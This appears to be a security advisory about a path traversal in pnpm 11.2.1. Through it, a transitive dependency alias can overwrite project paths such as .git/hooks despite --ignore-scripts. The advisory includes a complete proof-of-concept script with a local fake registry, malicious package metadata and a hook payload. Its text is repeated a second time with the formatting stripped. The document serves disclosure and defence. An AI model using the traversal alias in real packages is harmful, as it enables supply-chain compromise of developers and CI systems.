Summary
pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.
.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:
.husky or .githooks for Git hook dispatchers
scripts/, tools/, bin/, or tests/ for project scripts and CI commands
.github/actions/<name> for local GitHub Actions used later in the workflow
dist/ or other publish/build output directories before pnpm pack or
pnpm publish
node_modules/.bin or undeclared node_modules/<name> paths used by later
command or module resolution
Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.
This was reproduced with pnpm@11.2.1.
Impact
Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.
Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.
Root Cause
pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended node_modules directory.
Conceptually, a transitive alias like this:
{
"@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}
is eventually treated like:
path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")
The normalized destination escapes the dependency's node_modules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.
The dependency chain is:
victim installs normal@1.0.0
normal@1.0.0 -> bad@1.0.0
bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias
The malicious transitive package metadata contains:
{
"@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}
Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.
Proof Of Concept
Run:
#!/bin/sh
set -eu
SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORKDIR="$SCRIPT_DIR/demo-workdir"
REGISTRY_DIR="$WORKDIR/registry"
TARBALLS_DIR="$REGISTRY_DIR/tarballs"
VICTIM_DIR="$WORKDIR/victim"
READY_FILE="$WORKDIR/registry-ready"
PORT_FILE="$WORKDIR/registry-port"
rm -rf "$WORKDIR"
mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"
cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON'
{
"name": "payload-hooks",
"version": "1.0.0",
"bin": {
"pre-commit": "pre-commit"
},
"files": [
"pre-commit"
]
}
JSON
cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF'
#!/bin/sh
echo PWNED >&2
exit 0
EOF
chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit"
cat > "$REGISTRY_DIR/bad/package.json" <<'JSON'
{
"name": "bad",
"version": "1.0.0",
"description": "transitive registry package",
"dependencies": {
"@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}
}
JSON
cat > "$REGISTRY_DIR/normal/package.json" <<'JSON'
{
"name": "normal",
"version": "1.0.0",
"description": "normal looking package from a registry",
"dependencies": {
"bad": "1.0.0"
}
}
JSON
(cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' &
const http = require('node:http')
const fs = require('node:fs')
const path = require('node:path')
const { execFileSync } = require('node:child_process')
const [registryDir, readyFile, portFile] = process.argv.slice(2)
const tarballsDir = path.join(registryDir, 'tarballs')
function shasum (filename) {
return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)])
.toString()
.trim()
.split(/\s+/)
.pop()
}
function integrity (filename) {
return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)])
.toString('base64')
}
function packument (pkgName, req) {
const filename = `${pkgName}-1.0.0.tgz`
const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8'))
const origin = `http://${req.headers.host}`
return {
name: pkgName,
'dist-tags': {
latest: '1.0.0',
},
versions: {
'1.0.0': {
...manifest,
dist: {
tarball: `${origin}/${pkgName}/-/${filename}`,
shasum: shasum(filename),
integrity: integrity(filename),
},
},
},
}
}
const server = http.createServer((req, res) => {
const pathname = new URL(req.url, 'http://local.invalid').pathname
if (req.method !== 'GET') {
res.writeHead(405)
res.end('method not allowed')
return
}
if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') {
const pkgName = pathname.slice(1)
res.writeHead(200, { 'content-type': 'application/json' })
res.end(JSON.stringify(packument(pkgName, req)))
return
}
const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/)
if (tarballMatch) {
const file = path.join(tarballsDir, tarballMatch[2])
res.writeHead(200, { 'content-type': 'application/octet-stream' })
fs.createReadStream(file).pipe(res)
return
}
res.writeHead(404)
res.end('not found')
})
server.listen(0, '127.0.0.1', () => {
fs.writeFileSync(portFile, String(server.address().port))
fs.writeFileSync(readyFile, 'ready')
})
NODE
REGISTRY_PID=$!
trap 'kill "$REGISTRY_PID" 2>/dev/null || true' EXIT INT TERM
WAIT_COUNT=0
while [ ! -f "$READY_FILE" ]; do
WAIT_COUNT=$((WAIT_COUNT + 1))
if [ "$WAIT_COUNT" -gt 100 ]; then
echo "local registry did not start" >&2
exit 1
fi
sleep 0.05
done
REGISTRY_PORT=$(cat "$PORT_FILE")
cd "$VICTIM_DIR"
git init -q
git config user.email demo@example.invalid
git config user.name "Demo User"
cat > package.json <<'JSON'
{
"name": "victim",
"version": "1.0.0"
}
JSON
cat > .npmrc <<EOF
registry=http://127.0.0.1:$REGISTRY_PORT/
EOF
printf 'pnpm: '
pnpm --version
printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRY_PORT"
printf 'victim: %s\n\n' "$VICTIM_DIR"
pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent
echo 'trigger commit' > change.txt
git add change.txt
set +e
COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)
COMMIT_STATUS=$?
set -e
printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS"
printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR"
The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs normal@1.0.0 with --ignore-scripts, and then triggers git commit.
Requirements:
pnpm
npm
node
git
openssl
Expected output:
git commit exit code: 0
git commit stderr:
PWNED
PWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.
References
Summary
pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause
pnpm install - ignore-scriptsto replace paths in the current project with symlinks to attacker-controlled dependency package directories..git/hooksis only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:.huskyor.githooksfor Git hook dispatchersscripts/,tools/,bin/, ortests/for project scripts and CI commands.github/actions/<name>for local GitHub Actions used later in the workflowdist/or other publish/build output directories beforepnpm packorpnpm publishnode_modules/.binor undeclarednode_modules/<name>paths used by latercommand or module resolution
Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.
This was reproduced with
pnpm@11.2.1.Impact
Users often run
pnpm install --ignore-scriptsexpecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.Examples include
git commit,pnpm test,pnpm run build, a CI step that uses a local GitHub Action, orpnpm publishpackaging a replaceddist/directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces.git/hooks, and the payload runs when the victim later executesgit commit.Root Cause
pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination
node_modulesdirectory and passed to the symlink creation logic without rejecting..segments or checking that the normalized result stays inside the intendednode_modulesdirectory.Conceptually, a transitive alias like this:
{ "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }is eventually treated like:
The normalized destination escapes the dependency's
node_modulesdirectory and lands at the victim project's.git/hookspath. pnpm then creates a symlink at that escaped destination to the resolvedpayload-hookspackage directory.The dependency chain is:
The malicious transitive package metadata contains:
{ "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }Because this uses an
npm:registry alias, it does not rely on a transitivefile:orlink:dependency.Proof Of Concept
Run:
The script starts a local npm-compatible registry, writes a victim project
.npmrcthat points to that registry, installsnormal@1.0.0with--ignore-scripts, and then triggersgit commit.Requirements:
Expected output:
PWNEDis printed by the attacker-controlledpre-commithook from thepayload-hookspackage.References